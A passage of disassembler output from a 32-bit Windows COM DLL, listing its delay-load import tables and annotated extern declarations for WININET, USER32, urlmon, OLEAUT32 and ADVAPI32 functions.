					; OLEAUT32.dll bound delayed import address table
WININET_dll_import_table dd 1		; DATA XREF: .text:69B87D55o
					; Attributes
		dd offset aWininet_dll - offset	__ImageBase ; "WININET.dll"
		dd offset WININET_dll_handle - offset __ImageBase ; Module handle
		dd offset InternetCreateUrlW - offset __ImageBase ; Delayed Import Address Table
		dd offset WININET_dll_dint - offset __ImageBase	; Delayed Import Name Table
		dd offset WININET_dll_dbiat - offset __ImageBase ; Bound Delayed Import	Address	Table
		dd 0			; Unload Delayed Import	Table
		dd 0			; Time stamp
USER32_dll_import_table	dd 1		; DATA XREF: .text:69B87D74o
					; Attributes
		dd offset aUser32_dll -	offset __ImageBase ; "USER32.dll"
		dd offset USER32_dll_handle - offset __ImageBase ; Module handle
		dd offset DestroyMenu -	offset __ImageBase ; Delayed Import Address Table
		dd offset USER32_dll_dint - offset __ImageBase ; Delayed Import	Name Table
		dd offset USER32_dll_dbiat - offset __ImageBase	; Bound	Delayed	Import Address Table
		dd 0			; Unload Delayed Import	Table
		dd 0			; Time stamp
urlmon_dll_import_table	dd 1		; DATA XREF: .text:69B87DF4o
					; Attributes
		dd offset aUrlmon_dll -	offset __ImageBase ; "urlmon.dll"
		dd offset urlmon_dll_handle - offset __ImageBase ; Module handle
		dd offset __imp_RegisterBindStatusCallback - offset __ImageBase	; Delayed Import Address Table
		dd offset urlmon_dll_dint - offset __ImageBase ; Delayed Import	Name Table
		dd offset urlmon_dll_dbiat - offset __ImageBase	; Bound	Delayed	Import Address Table
		dd 0			; Unload Delayed Import	Table
		dd 0			; Time stamp
OLEAUT32_dll_import_table dd 1		; DATA XREF: .text:69B87E39o
					; Attributes
		dd offset aOleaut32_dll	- offset __ImageBase ; "OLEAUT32.dll"
		dd offset OLEAUT32_dll_handle -	offset __ImageBase ; Module handle
		dd offset SafeArrayGetDim - offset __ImageBase ; Delayed Import	Address	Table
		dd offset OLEAUT32_dll_dint - offset __ImageBase ; Delayed Import Name Table
		dd offset OLEAUT32_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
		dd 0			; Unload Delayed Import	Table
		dd 0			; Time stamp
ADVAPI32_dll_import_table dd 1		; DATA XREF: .text:69B1AA25o
					; Attributes
		dd offset aAdvapi32_dll	- offset __ImageBase ; "ADVAPI32.dll"
		dd offset ADVAPI32_dll_handle -	offset __ImageBase ; Module handle
		dd offset RegDeleteValueA - offset __ImageBase ; Delayed Import	Address	Table
		dd offset ADVAPI32_dll_dint - offset __ImageBase ; Delayed Import Name Table
		dd offset ADVAPI32_dll_dbiat - offset __ImageBase ; Bound Delayed Import Address Table
		dd 0			; Unload Delayed Import	Table
		dd 0			; Time stamp
		dd 8 dup(0)
		align 10h
aWininet_dll	db 'WININET.dll',0      ; DATA XREF: .text:69B903E8o
		align 10h
aUser32_dll	db 'USER32.dll',0       ; DATA XREF: .text:69B90408o
		align 4
		db 34h dup(90h)
aUrlmon_dll	db 'urlmon.dll',0       ; DATA XREF: .text:69B90428o
		align 10h
aOleaut32_dll	db 'OLEAUT32.dll',0     ; DATA XREF: .text:69B90448o
		db 5Ah,	2 dup(90h)
aAdvapi32_dll	db 'ADVAPI32.dll',0     ; DATA XREF: .text:69B90468o
		db 5Ah
WININET_dll_dint dd offset word_69B90652 - offset __ImageBase ;	DATA XREF: .text:69B903F4o
					; WININET.dll delayed import name table
		dd offset word_69B90668	- offset __ImageBase
		dd 0
USER32_dll_dint	dd offset word_69B9067C	- offset __ImageBase ; DATA XREF: .text:69B90414o
					; USER32.dll delayed import name table
		dd offset word_69B9068A	- offset __ImageBase
		dd offset word_69B9069C	- offset __ImageBase
		dd offset word_69B906AC	- offset __ImageBase
		dd offset word_69B906BA	- offset __ImageBase
		dd offset word_69B906CE	- offset __ImageBase
		dd offset word_69B906E0	- offset __ImageBase
		dd offset word_69B906F2	- offset __ImageBase
		dd offset word_69B90702	- offset __ImageBase
		dd offset word_69B9071E	- offset __ImageBase
		dd offset word_69B9073A	- offset __ImageBase
		dd offset word_69B9074C	- offset __ImageBase
		dd offset word_69B9075A	- offset __ImageBase
		dd offset word_69B9076E	- offset __ImageBase
		dd offset word_69B9077E	- offset __ImageBase
		dd 0
urlmon_dll_dint	dd offset word_69B90790	- offset __ImageBase ; DATA XREF: .text:69B90434o
					; urlmon.dll delayed import name table
		dd offset word_69B907AE	- offset __ImageBase
		dd offset word_69B907C6	- offset __ImageBase
		dd offset word_69B907DE	- offset __ImageBase
		dd 0
OLEAUT32_dll_dint dd 80000011h		; DATA XREF: .text:69B90454o
					; OLEAUT32.dll delayed import name table
		dd 80000053h
		dd 80000067h
		dd 8000007Bh
		dd 80000070h
		dd 8000005Ch
		dd 80000066h
		dd 80000071h
		dd 8000005Dh
		dd 80000052h
		dd 8000007Ch
		dd 80000060h
		dd 80000007h
		dd 8000001Bh
		dd 800000A3h
		dd 800000A1h
		dd 800000BAh
		dd 80000006h
		dd 80000008h
		dd 8000000Ch
		dd 80000009h
		dd 800000C9h
		dd 800000C8h
		dd 800000CAh
		dd 80000002h
		dd 80000004h
		dd 80000018h
		dd 80000010h
		dd 80000017h
		dd 8000019Bh
		dd 8000002Fh
		dd 8000002Eh
		dd 8000014Ah
		dd 8000014Bh
		dd 80000093h
		dd 80000013h
		dd 80000014h
		dd 8000000Ah
		dd 0
ADVAPI32_dll_dint dd offset word_69B907F2 - offset __ImageBase ; DATA XREF: .text:69B90474o
					; ADVAPI32.dll delayed import name table
		dd offset word_69B90804	- offset __ImageBase
		dd offset word_69B90814	- offset __ImageBase
		dd offset word_69B90826	- offset __ImageBase
		dd offset word_69B90836	- offset __ImageBase
		dd offset word_69B90846	- offset __ImageBase
		dd offset word_69B90858	- offset __ImageBase
		dd offset word_69B90866	- offset __ImageBase
		dd offset word_69B9087A	- offset __ImageBase
		dd 0
word_69B90652	dw 0			; DATA XREF: .text:WININET_dll_dinto
aInternetcreate	db 'InternetCreateUrlW',0
		db 64h
word_69B90668	dw 0			; DATA XREF: .text:69B90532o
aInternetcracku	db 'InternetCrackUrlW',0
word_69B9067C	dw 0			; DATA XREF: .text:USER32_dll_dinto
aDestroymenu	db 'DestroyMenu',0
word_69B9068A	dw 0			; DATA XREF: .text:69B9053Eo
aEnablemenuitem	db 'EnableMenuItem',0
		db 33h
word_69B9069C	dw 0			; DATA XREF: .text:69B90542o
aGetmenuitemid	db 'GetMenuItemID',0
word_69B906AC	dw 0			; DATA XREF: .text:69B90546o
aLoadstringa	db 'LoadStringA',0
word_69B906BA	dw 0			; DATA XREF: .text:69B9054Ao
aUnregisterclas	db 'UnregisterClassA',0
		db 2Eh
word_69B906CE	dw 0			; DATA XREF: .text:69B9054Eo
aRegisterclassa	db 'RegisterClassA',0
		db 33h
word_69B906E0	dw 0			; DATA XREF: .text:69B90552o
aCreatewindowex	db 'CreateWindowExA',0
word_69B906F2	dw 0			; DATA XREF: .text:69B90556o
aDestroywindow	db 'DestroyWindow',0
word_69B90702	dw 0			; DATA XREF: .text:69B9055Ao
aMsgwaitformult	db 'MsgWaitForMultipleObjects',0
word_69B9071E	dw 0			; DATA XREF: .text:69B9055Eo
aRegisterclipbo	db 'RegisterClipboardFormatA',0
		db 7
word_69B9073A	dw 0			; DATA XREF: .text:69B90562o
aTrackpopupmenu	db 'TrackPopupMenu',0
		db 33h
word_69B9074C	dw 0			; DATA XREF: .text:69B90566o
aGetsubmenu	db 'GetSubMenu',0
		db 55h
word_69B9075A	dw 0			; DATA XREF: .text:69B9056Ao
aGetmenuitemcou	db 'GetMenuItemCount',0
		db 2Eh
word_69B9076E	dw 0			; DATA XREF: .text:69B9056Eo
aGetmenustate	db 'GetMenuState',0
		db 45h
word_69B9077E	dw 0			; DATA XREF: .text:69B90572o
aGetactivewindo	db 'GetActiveWindow',0
word_69B90790	dw 0			; DATA XREF: .text:urlmon_dll_dinto
aRegisterbindst	db 'RegisterBindStatusCallback',0
		align 2
word_69B907AE	dw 0			; DATA XREF: .text:69B9057Eo
aUrlmkgetsessio	db 'UrlMkGetSessionOption',0
word_69B907C6	dw 0			; DATA XREF: .text:69B90582o
aCointernetgets	db 'CoInternetGetSession',0
		db 28h
word_69B907DE	dw 0			; DATA XREF: .text:69B90586o
aCreateurlmonik	db 'CreateURLMoniker',0
		db 2Eh
word_69B907F2	dw 0			; DATA XREF: .text:ADVAPI32_dll_dinto
aRegdeletevalue	db 'RegDeleteValueA',0
word_69B90804	dw 0			; DATA XREF: .text:69B9062Eo
aRegdeletekeya	db 'RegDeleteKeyA',0
word_69B90814	dw 0			; DATA XREF: .text:69B90632o
aRegcreatekeyex	db 'RegCreateKeyExA',0
word_69B90826	dw 0			; DATA XREF: .text:69B90636o
aRegopenkeyexa	db 'RegOpenKeyExA',0
word_69B90836	dw 0			; DATA XREF: .text:69B9063Ao
aRegenumvaluea	db 'RegEnumValueA',0
word_69B90846	dw 0			; DATA XREF: .text:69B9063Eo
aRegsetvalueexa	db 'RegSetValueExA',0
		db 50h
word_69B90858	dw 0			; DATA XREF: .text:69B90642o
aRegopenkeya	db 'RegOpenKeyA',0
word_69B90866	dw 0			; DATA XREF: .text:69B90646o
aRegqueryvaluee	db 'RegQueryValueExA',0
		db 33h
word_69B9087A	dw 0			; DATA XREF: .text:69B9064Ao
aRegclosekey	db 'RegCloseKey',0
		dd 8091Ch, 2 dup(0)
		dd 808ECh, 1000h, 8094Ch, 2 dup(0)
		dd 808F6h, 1030h, 809E0h, 2 dup(0)
		dd 80902h, 10C4h, 80B88h, 2 dup(0)
		dd 80910h, 126Ch, 5 dup(0)
		dd 33656C6Fh, 6C642E32h, 4853006Ch, 5041574Ch, 6C642E49h
		dd 454B006Ch, 4C454E52h, 642E3233h, 6C6Ch, 53524556h, 2E4E4F49h
		dd 6C6C64h, 80B98h, 80BB0h, 80BC2h, 80BD4h, 80BE4h, 80BF6h
		dd 80C06h, 80C1Eh, 80C30h, 80C50h, 80C60h, 0
		dd 80000075h, 80000038h, 80000088h, 8000003Ch, 80000074h
		dd 80C74h, 80C8Ah, 80000002h, 80C9Eh, 8000000Fh, 80000137h
		dd 80000136h, 8000007Dh, 80000080h, 80CB2h, 8000001Ah
		dd 80CBCh, 80CC8h, 80CD6h, 80CE6h, 80CFEh, 80D14h, 80D2Ah
		dd 80000034h, 80D34h, 80000044h, 80D3Eh, 80D4Ah, 8000002Dh
		dd 80D56h, 8000002Bh, 80000026h, 80000033h, 80000053h
		dd 80D62h, 80000073h, 0
		dd 80D6Ch, 80D7Ch, 80D8Ah, 80D9Ch, 80DACh, 80DBCh, 80DCEh
		dd 80DE0h, 80DF2h, 80E00h, 80E0Ch, 80E16h, 80E26h, 80E32h
		dd 80E4Ch, 80E66h, 80E7Eh, 80E98h, 80EAAh, 80EBAh, 80ECCh
		dd 80EDAh, 80EECh, 80EFCh, 80F10h, 80F20h, 80F2Eh, 80F3Ah
		dd 80F48h, 80F58h, 80F70h, 80F82h, 80F92h, 80F9Eh, 80FAAh
		dd 80FBCh, 80FCCh, 80FDAh, 80FE6h, 80FFCh, 81008h, 81024h
		dd 8103Ah, 81048h, 81056h, 8106Ah, 8107Eh, 81092h, 810ACh
		dd 810BCh, 810D2h, 810E8h, 81102h, 8111Ah, 81132h, 8113Eh
		dd 8114Ah, 81156h, 81162h, 81170h, 81180h, 81192h, 811A4h
		dd 811B8h, 811C6h, 811D6h, 811E2h, 811ECh, 81200h, 81216h
		dd 8121Eh, 81234h, 81244h, 81250h, 8125Eh, 81276h, 8128Eh
		dd 812A4h, 812B8h, 812D0h, 812E4h, 81300h, 8130Eh, 8131Eh
		dd 8132Ch, 8133Ch, 8134Ch, 8135Ah, 8136Ch, 81382h, 81396h
		dd 813A8h, 813B8h, 813C8h, 813D8h, 813EAh, 813FCh, 81414h
		dd 8142Ch, 81438h, 81444h, 81452h, 81464h, 81472h, 81486h
		dd 0
		dd 81492h, 814A8h, 814BAh, 0
		db  91h	; ‘
		align 2
aGethglobalfrom	db 'GetHGlobalFromStream',0
		align 10h
		dd 74530133h, 676E6972h, 6D6F7246h, 49534C43h, 630044h
		dd 61546F43h, 654D6B73h, 6C6C416Dh, 636Fh, 72430075h, 65746165h
		dd 646E6942h, 787443h, 6F430068h, 6E696E55h, 61697469h
		dd 657A696Ch, 3A0000h, 6E496F43h, 61697469h, 657A696Ch
		dd 820000h
aCreatestreamon	db 'CreateStreamOnHGlobal',0
		dw 6
aClsidfromprogi	db 'CLSIDFromProgID',0
		db  0Eh
		align 2
aCocreatefreeth	db 'CoCreateFreeThreadedMarshaler',0
aD		db 'd',0
aCotaskmemfree	db 'CoTaskMemFree',0
		db  10h
		align 2
aCocreateinstan	db 'CoCreateInstance',0
		align 4
		db '*',0
aPathfindextens	db 'PathFindExtensionW',0
		align 2
		dw 110h
aUrlcanonicaliz	db 'UrlCanonicalizeW',0
		align 2
		db ',',0
aPathfindfilena	db 'PathFindFileNameW',0
		db 'Ó',0
aStrcatw	db 'StrCatW',0
		db 'Ý',0
aStrcmpnia	db 'StrCmpNIA',0
aV		db 'V',0
aPathisurlw	db 'PathIsURLW',0
		align 2
		dw 126h
aUrlunescapew	db 'UrlUnescapeW',0
		align 2
aP		db 'p',0
aPathsearchandq	db 'PathSearchAndQualifyW',0
		dw 116h
aUrlcreatefromp	db 'UrlCreateFromPathW',0
		align 4
		db '&',0
aPathcreatefrom	db 'PathCreateFromUrlW',0
		align 2
		dw 124h
aUrlisw		db 'UrlIsW',0
		align 4
aT		db 'â',0
aStrcpyw	db 'StrCpyW',0
		dw 10Ah
aStrtointw	db 'StrToIntW',0
		db 'Þ',0
aStrcmpniw	db 'StrCmpNIW',0
		db 'ß',0
aStrcmpnw	db 'StrCmpNW',0
		align 2
aR		db 'à',0
aStrcmpw	db 'StrCmpW',0
		dd 7553033Ah, 6E657073h, 72685464h, 646165h, 6F4C0243h
		dd 416C6163h, 636F6C6Ch, 36A0000h, 74726956h, 506C6175h
		dd 65746F72h, 7463h, 434C0230h,	5370614Dh, 6E697274h, 5767h
		dd 434C022Fh, 5370614Dh, 6E697274h, 4167h, 654701ADh, 72745374h
		dd 54676E69h, 57657079h, 1AA0000h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 65470166h,	636F4C74h, 49656C61h, 416F666Eh
		dd 2050000h, 70616548h,	6C416552h, 636F6Ch, 65470185h
		dd 4D454F74h, 5043h, 654700F0h,	50434174h, 36C0000h, 74726956h
		dd 516C6175h, 79726575h, 2BE0000h, 556C7452h, 6E69776Eh
		dd 1490064h, 45746547h,	7269766Eh, 656D6E6Fh, 7453746Eh
		dd 676E6972h, 5773h, 724600E9h,	6E456565h, 6F726976h, 6E656D6Eh
		dd 72745374h, 73676E69h, 1470057h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 7453746Eh, 676E6972h, 0E80073h, 65657246h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
		dd 654701A7h, 61745374h, 70757472h, 6F666E49h, 1A90041h
		dd 53746547h, 61486474h, 656C646Eh, 3090000h, 48746553h
		dd 6C646E61h, 756F4365h, 746Eh,	784500AAh, 72507469h, 7365636Fh
		dd 1020073h, 43746547h,	616D6D6Fh, 694C646Eh, 41656Eh
		dd 72430064h, 65746165h, 65726854h, 6461h, 65530327h, 72685474h
		dd 50646165h, 726F6972h, 797469h, 72430045h, 65746165h
		dd 6E657645h, 4174h, 6C4701E3h,	6C61626Fh, 6F6C6C41h, 39F0063h
		dd 7274736Ch, 57746163h, 1EE0000h, 626F6C47h, 6F4C6C61h
		dd 6B63h, 6C4701F5h, 6C61626Fh,	6F6C6E55h, 6B63h, 654701AEh
		dd 73795374h, 446D6574h, 75616665h, 434C746Ch, 4449h, 654701C5h
		dd 72685474h, 4C646165h, 6C61636Fh, 2F70065h, 45746553h
		dd 664F646Eh, 656C6946h, 3A70000h, 7274736Ch, 41797063h
		dd 3AD0000h, 7274736Ch,	416E656Ch, 1920000h, 50746547h
		dd 41636F72h, 65726464h, 7373h,	6F4C023Dh, 694C6461h, 72617262h
		dd 4179h, 724600EAh, 694C6565h,	72617262h, 39E0079h, 7274736Ch
		dd 41746163h, 2600000h,	746C754Dh, 74794269h, 576F5465h
		dd 43656469h, 726168h, 736C03A1h, 6D637274h, 4170h, 784500ADh
		dd 646E6170h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
		dd 417367h, 6547016Fh, 646F4D74h, 46656C75h, 4E656C69h
		dd 41656D61h, 3480000h,	53736C54h, 61567465h, 65756Ch
		dd 6C540347h, 74654773h, 756C6156h, 3400065h, 6D726554h
		dd 74616E69h, 6F725065h, 73736563h, 1340000h, 43746547h
		dd 65727275h, 7250746Eh, 7365636Fh, 1710073h, 4D746547h
		dd 6C75646Fh, 6E614865h, 41656C64h, 28C0000h, 72657551h
		dd 72655079h, 6D726F66h, 65636E61h, 6E756F43h, 726574h
		dd 654701CAh, 63695474h, 756F436Bh, 746Eh, 65470138h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 1350000h, 43746547h
		dd 65727275h, 7250746Eh, 7365636Fh, 644973h, 654701B7h
		dd 73795374h, 546D6574h, 41656D69h, 6C694673h, 6D695465h
		dd 2130065h, 65746E49h,	636F6C72h, 4464656Bh, 65726365h
		dd 746E656Dh, 2170000h,	65746E49h, 636F6C72h, 4964656Bh
		dd 6572636Eh, 746E656Dh, 3AE0000h, 7274736Ch, 576E656Ch
		dd 2010000h, 70616548h,	65657246h, 2070000h, 70616548h
		dd 657A6953h, 1FB0000h,	70616548h, 6F6C6C41h, 3670063h
		dd 74726956h, 466C6175h, 656572h, 69560364h, 61757472h
		dd 6C6C416Ch, 636Fh, 65470194h,	6F725074h, 73736563h, 70616548h
		dd 870000h, 6C707544h, 74616369h, 6E614865h, 656C64h, 65470137h
		dd 72754374h, 746E6572h, 65726854h, 6461h, 6C43002Ah, 4865736Fh
		dd 6C646E61h, 1D40065h,	56746547h, 69737265h, 78456E6Fh
		dd 3450041h, 41736C54h,	636F6C6Ch, 3460000h, 46736C54h
		dd 656572h, 654701C3h, 72685474h, 43646165h, 65746E6Fh
		dd 7478h, 6E490214h, 6C726574h,	656B636Fh, 63784564h, 676E6168h
		dd 3380065h, 65656C53h,	3740070h, 74696157h, 53726F46h
		dd 6C676E69h, 6A624F65h, 746365h, 655202B9h, 656D7573h
		dd 65726854h, 6461h, 655302FBh,	65764574h, 746Eh, 655202B6h
		dd 45746573h, 746E6576h, 8A0000h, 65746E45h, 69724372h
		dd 61636974h, 6365536Ch, 6E6F6974h, 23C0000h, 7661654Ch
		dd 69724365h, 61636974h, 6365536Ch, 6E6F6974h, 2760000h
		dd 7074754Fh, 65447475h, 53677562h, 6E697274h, 4167h, 655202ABh
		dd 7361656Ch, 6D655365h, 6F687061h, 6572h, 65440075h, 6574656Ch
		dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 72430060h
		dd 65746165h, 616D6553h, 726F6870h, 4165h, 6E49020Eh, 61697469h
		dd 657A696Ch, 74697243h, 6C616369h, 74636553h, 6E6F69h
		dd 654801FFh, 65447061h, 6F727473h, 1630079h, 4C746547h
		dd 45747361h, 726F7272h, 1FD0000h, 70616548h, 61657243h
		dd 6574h, 654701B3h, 73795374h,	496D6574h, 6F666Eh, 6553030Dh
		dd 73614C74h, 72724574h, 726Fh,	6544006Eh, 42677562h, 6B616572h
		dd 2900000h, 73696152h,	63784565h, 69747065h, 6E6Fh, 69570378h
		dd 68436564h, 6F547261h, 746C754Dh, 74794269h, 15B0065h
		dd 46746547h, 506C6C75h, 4E687461h, 41656D61h, 3370000h
		dd 657A6953h, 6552666Fh, 72756F73h, 6563h, 6F4C0250h, 65526B63h
		dd 72756F73h, 6563h, 6F4C0242h,	65526461h, 72756F73h, 6563h
		dd 694600D5h, 6552646Eh, 72756F73h, 416563h, 6F4C023Eh
		dd 694C6461h, 72617262h, 41784579h, 0E50000h, 6D726F46h
		dd 654D7461h, 67617373h, 4165h,	694600B7h, 6954656Ch, 6F54656Dh
		dd 74737953h, 69546D65h, 656Dh,	7953033Dh, 6D657473h, 656D6954h
		dd 69466F54h, 6954656Ch, 656Dh,	654700F6h, 49504374h, 6F666Eh
		dd 72570385h, 46657469h, 656C69h, 65470158h, 6C694674h
		dd 70795465h, 3000065h,	46746553h, 50656C69h, 746E696Fh
		dd 7265h, 72430049h, 65746165h,	656C6946h, 0E00041h, 73756C46h
		dd 6C694668h, 66754265h, 73726566h, 29D0000h, 64616552h
		dd 656C6946h, 0
aGetfileversion	db 'GetFileVersionInfoA',0
		db 0Ah,0
aVerqueryvaluea	db 'VerQueryValueA',0
		align 2
		dw 1
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aRrrr		db '',0
		align 4
aDOa		db 'D)oA',0
		align 4
		dd 2, 1Bh, 1B204h, 1A604h, 0
		dd 416F2944h, 0
		dd 0Ah,	3Fh dup(0)
_text		ends

; Section 2. (virtual address 00082000)
; Virtual size			: 000097A0 (  38816.)
; Section size in file		: 00009200 (  37376.)
; Offset to raw	data for section: 00080A00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
;
; Delayed imports from WININET.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; BOOL __stdcall InternetCreateUrlW(LPURL_COMPONENTSW lpUrlComponents, DWORD dwFlags, LPWSTR lpszUrl, LPDWORD lpdwUrlLength)
		extrn InternetCreateUrlW:dword ; CODE XREF: sub_69B7AB78+219p
					; sub_69B7AB78+25Dp
					; DATA XREF: ...
; BOOL __stdcall InternetCrackUrlW(LPCWSTR lpszUrl, DWORD dwUrlLength, DWORD dwFlags, LPURL_COMPONENTSW	lpUrlComponents)
		extrn InternetCrackUrlW:dword ;	CODE XREF: sub_69B3A58D+2Dp
					; sub_69B7AB78+6Dp
					; DATA XREF: ...

;
; Delayed imports from USER32.dll
;
; BOOL __stdcall DestroyMenu(HMENU hMenu)
		extrn DestroyMenu:dword	; CODE XREF: sub_69B803AC+FAp
					; DATA XREF: sub_69B803AC+FAr ...
; BOOL __stdcall EnableMenuItem(HMENU hMenu, UINT uIDEnableItem, UINT uEnable)
		extrn EnableMenuItem:dword ; CODE XREF:	sub_69B7E71B+70p
					; DATA XREF: sub_69B7E71B+70r ...
; UINT __stdcall GetMenuItemID(HMENU hMenu, int	nPos)
		extrn GetMenuItemID:dword ; CODE XREF: sub_69B7E71B+50p
					; DATA XREF: sub_69B7E71B+50r ...
; int __stdcall	LoadStringA(HINSTANCE hInstance, UINT uID, LPSTR lpBuffer, int nBufferMax)
		extrn LoadStringA:dword	; CODE XREF: sub_69B2F6DD+1Cp
					; DATA XREF: sub_69B2F6DD+1Cr ...
; BOOL __stdcall UnregisterClassA(LPCSTR lpClassName, HINSTANCE	hInstance)
		extrn UnregisterClassA:dword ; CODE XREF: sub_69B1E4CF+6676p
					; DATA XREF: sub_69B1E4CF+6676r ...
; ATOM __stdcall RegisterClassA(const WNDCLASSA	*lpWndClass)
		extrn RegisterClassA:dword ; CODE XREF:	sub_69B80FE6+6Ep
					; DATA XREF: sub_69B80FE6+6Er ...
; HWND __stdcall CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y,	int nWidth, int	nHeight, HWND hWndParent, HMENU	hMenu, HINSTANCE hInstance, LPVOID lpParam)
		extrn CreateWindowExA:dword ; CODE XREF: sub_69B80E07+BFp
					; DATA XREF: sub_69B80E07+BFr ...
; BOOL __stdcall DestroyWindow(HWND hWnd)
		extrn DestroyWindow:dword ; CODE XREF: sub_69B808E7+2Ap
					; DATA XREF: sub_69B808E7+2Ar ...
; DWORD	__stdcall MsgWaitForMultipleObjects(DWORD nCount, LPHANDLE pHandles, BOOL fWaitAll, DWORD dwMilliseconds, DWORD	dwWakeMask)
		extrn MsgWaitForMultipleObjects:dword ;	CODE XREF: sub_69B80843+1Bp
					; sub_69B80843+5Dp ...
; UINT __stdcall RegisterClipboardFormatA(LPCSTR lpszFormat)
		extrn RegisterClipboardFormatA:dword ; CODE XREF: sub_69B8062D+10p
					; DATA XREF: sub_69B8062D+10r ...
; BOOL __stdcall TrackPopupMenu(HMENU hMenu, UINT uFlags, int x, int y,	int nReserved, HWND hWnd, const	RECT *prcRect)
		extrn TrackPopupMenu:dword ; CODE XREF:	sub_69B803AC+C5p
					; DATA XREF: sub_69B803AC+C5r ...
; HMENU	__stdcall GetSubMenu(HMENU hMenu, int nPos)
		extrn GetSubMenu:dword	; CODE XREF: sub_69B7E71B+3Ap
					; DATA XREF: sub_69B7E71B+3Ar ...
; int __stdcall	GetMenuItemCount(HMENU hMenu)
		extrn GetMenuItemCount:dword ; CODE XREF: sub_69B7E71B+Fp
					; DATA XREF: sub_69B7E71B+Fr ...
; UINT __stdcall GetMenuState(HMENU hMenu, UINT	uId, UINT uFlags)
		extrn GetMenuState:dword ; CODE	XREF: sub_69B7E71B+24p
					; DATA XREF: sub_69B7E71B+24r ...
; HWND __stdcall GetActiveWindow()
		extrn GetActiveWindow:dword ; CODE XREF: sub_69B7CB54+E5p
					; DATA XREF: sub_69B7CB54+E5r ...

;
; Delayed imports from urlmon.dll
;
; HRESULT __stdcall RegisterBindStatusCallback(LPBC pBC, IBindStatusCallback *pBSCb, IBindStatusCallback **ppBSCBPrev, DWORD dwReserved)
		extrn __imp_RegisterBindStatusCallback:dword ; DATA XREF: .text:69B87E08o
					; RegisterBindStatusCallbackr ...
; HRESULT __stdcall UrlMkGetSessionOption(DWORD	dwOption, LPVOID pBuffer, DWORD	dwBufferLength,	DWORD *pdwBufferLength,	DWORD dwReserved)
		extrn __imp_UrlMkGetSessionOption:dword	; DATA XREF: .text:69B87E15o
					; UrlMkGetSessionOptionr
; HRESULT __stdcall CoInternetGetSession(DWORD dwSessionMode, IInternetSession **ppIInternetSession, DWORD dwReserved)
		extrn __imp_CoInternetGetSession:dword ; DATA XREF: .text:69B87E22o
					; CoInternetGetSessionr
; HRESULT __stdcall CreateURLMoniker(LPMONIKER pMkCtx, LPCWSTR szURL, LPMONIKER	*ppmk)
		extrn __imp_CreateURLMoniker:dword ; DATA XREF:	.text:69B87DEAo
					; CreateURLMonikerr

;
; Delayed imports from OLEAUT32.dll
;
; UINT __stdcall SafeArrayGetDim(SAFEARRAY *psa)
		extrn SafeArrayGetDim:dword ; CODE XREF: sub_69B7D8C5+E2p
					; DATA XREF: sub_69B7D8C5+E2r ...
; HRESULT __stdcall VarR8FromDate(DATE dateIn, DOUBLE *pdblOut)
		extrn VarR8FromDate:dword ; CODE XREF: sub_69B650E5+15p
					; DATA XREF: sub_69B650E5+15r ...
; HRESULT __stdcall VarCyFromDate(DATE dateIn, CY *pcyOut)
		extrn VarCyFromDate:dword ; CODE XREF: sub_69B650A9+15p
					; DATA XREF: sub_69B650A9+15r ...
; HRESULT __stdcall VarBoolFromDate(DATE dateIn, VARIANT_BOOL *pboolOut)
		extrn VarBoolFromDate:dword ; CODE XREF: sub_69B65070+13p
					; DATA XREF: sub_69B65070+13r ...
; HRESULT __stdcall VarBstrFromR8(DOUBLE dblIn,	LCID lcid, ULONG dwFlags, BSTR *pbstrOut)
		extrn VarBstrFromR8:dword ; CODE XREF: sub_69B64F86+5Fp
					; DATA XREF: sub_69B64F86+5Fr ...
; HRESULT __stdcall VarDateFromR8(DOUBLE dblIn,	DATE *pdateOut)
		extrn VarDateFromR8:dword ; CODE XREF: sub_69B64F3E+16p
					; DATA XREF: sub_69B64F3E+16r ...
; HRESULT __stdcall VarCyFromR8(DOUBLE dblIn, CY *pcyOut)
		extrn VarCyFromR8:dword	; CODE XREF: sub_69B64EF0+16p
					; DATA XREF: sub_69B64EF0+16r ...
; HRESULT __stdcall VarBstrFromCy(CY cyIn, LCID	lcid, ULONG dwFlags, BSTR *pbstrOut)
		extrn VarBstrFromCy:dword ; CODE XREF: sub_69B64E66+17p
					; DATA XREF: sub_69B64E66+17r ...
; HRESULT __stdcall VarDateFromCy(CY cyIn, DATE	*pdateOut)
		extrn VarDateFromCy:dword ; CODE XREF: sub_69B64E20+14p
					; DATA XREF: sub_69B64E20+14r ...
; HRESULT __stdcall VarR8FromCy(CY cyIn, DOUBLE	*pdblOut)
		extrn VarR8FromCy:dword	; CODE XREF: sub_69B64DEC+13p
					; DATA XREF: sub_69B64DEC+13r ...
; HRESULT __stdcall VarBoolFromCy(CY cyIn, VARIANT_BOOL	*pboolOut)
		extrn VarBoolFromCy:dword ; CODE XREF: sub_69B64DB5+11p
					; DATA XREF: sub_69B64DB5+11r ...
; HRESULT __stdcall VarDateFromBool(VARIANT_BOOL boolIn, DATE *pdateOut)
		extrn VarDateFromBool:dword ; CODE XREF: sub_69B64D0D+15p
					; DATA XREF: sub_69B64D0D+15r ...
; UINT __stdcall SysStringLen(BSTR)
		extrn SysStringLen:dword ; CODE	XREF: sub_69B1F708+73p
					; sub_69B64A14+165p ...
; HRESULT __stdcall SafeArrayCopy(SAFEARRAY *psa, SAFEARRAY **ppsaOut)
		extrn SafeArrayCopy:dword ; CODE XREF: sub_69B5663E+41p
					; DATA XREF: sub_69B5663E+41r ...
; HRESULT __stdcall RegisterTypeLib(ITypeLib *ptlib, OLECHAR *szFullPath, OLECHAR *szHelpDir)
		extrn RegisterTypeLib:dword ; CODE XREF: sub_69B2B4A9+117p
					; sub_69B2BF77+C7p ...
; HRESULT __stdcall LoadTypeLib(const OLECHAR *szFile, ITypeLib	**pptlib)
		extrn LoadTypeLib:dword	; CODE XREF: sub_69B2B4A9+FFp
					; sub_69B2BF77+AFp ...
; HRESULT __stdcall UnRegisterTypeLib(const GUID *const	libID, WORD wVerMajor, WORD wVerMinor, LCID lcid, SYSKIND syskind)
		extrn UnRegisterTypeLib:dword ;	CODE XREF: DllUnregisterServer+3Fp
